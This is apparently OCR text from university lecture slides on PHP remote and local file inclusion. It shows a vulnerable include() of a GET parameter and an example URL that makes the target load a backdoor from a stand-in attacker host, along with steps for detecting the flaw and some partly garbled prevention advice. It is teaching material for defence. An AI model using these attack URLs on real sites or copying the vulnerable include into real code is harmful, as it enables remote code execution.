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Remote File Inclusion (PHP)

Numerous
PHP language .)) Vulnerabilities

Include function Remote file path
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Remote File Inclusion

> Example
Microsoft Homepage

Others:-:
HYU Homepage

6 /17 Hanyang University. PAV Lab.


http://www.microsoft.com/en/us/default.aspx
http://www.hanyang.ac.kr/

Remote File Inclusion (PHP)

Numerous Load and execute
Vulnerabilities xx.php file

accepts

’ Remote file path
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Remote File Inclusion (attack)

Different ways to attack.
Most serious — to specify an external URL as the location of the
include file

https://wahh-app.com/main.php?Country=US

The contents of the file
$country = $_GET['Country’]; US.php are effectively
include( $country . “.php’ ); copied into the main.php
file, and executed

https://wahh-app.com/main.php?Country=http://wahh-
attacker.com/backdoor
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Remote File Inclusion (attack)

https://wahh-app.com/main.php?Country=

$country = $_GET['Country’];
include( $country . ‘.php’ );

https://wahh-app.com/main.php?Country=

US.php

\ 4
http://wahh-attacker.com/backdoor.php

With a malicious script containing arbitrarily complex
content
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Local File Inclusion

Vulnerabilities
Unauthorized
actions

User-controllable data

Server,
Applications, -

Loaded Include files
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Local File Inclusion (attack 1)

from ‘/admin’ through app-wide access
controls

Changes

Cause to be included into a
page which is authorized to access

\ 4

access controls
functionality

Be able to perform
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Local File Inclusion (attack 2)

some protected static
resources on the server

Cause those to
Cause to be included into a be dynamically

page which is authorized to access included into
other pages

the protected contents that are
copied into pages available
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How to Find File Inclusion Vulnerability

> Request user-supplied data
Request parameters that specify a language or location

> Parameter using names of a server-side file
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How to Find File Inclusion Vulnerability

> Remote File Inclusion

Step 1. Control a web server (be external to the target
web-app)

Step 2. Submit a URL (of your server) in each parameter
of the web-app, and see if your server receives any
requests from the target web-app (if so, proved)

Step 3. Submit a URL containing a nonexistent IP
address to see if a timeout occurs(if so, proved)

Step 4. Do attacks as described before
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How to Find File Inclusion Vulnerability

> Local File Inclusion(wider range than RFI)

Step 1. Get to know the information about resources on
the target web-app server

Step 2. Submit the name of a known executable resource
on the server, and watch the behavior (changes)

Step 3. Submit the name of a known static resource on
the server, and watch the behavior (copied contents)

Step 4. Record protected resources, and do attacks as
described before to watch the behavior.(if succeed in
access, proved)
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Preventing Script Injection Vulnerability

> Concerning any dynamic execution or include
functions -
No user-supplied input or derived data

Strictly validated input
White list of good input
White list of harmful input
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Thank Youl!!
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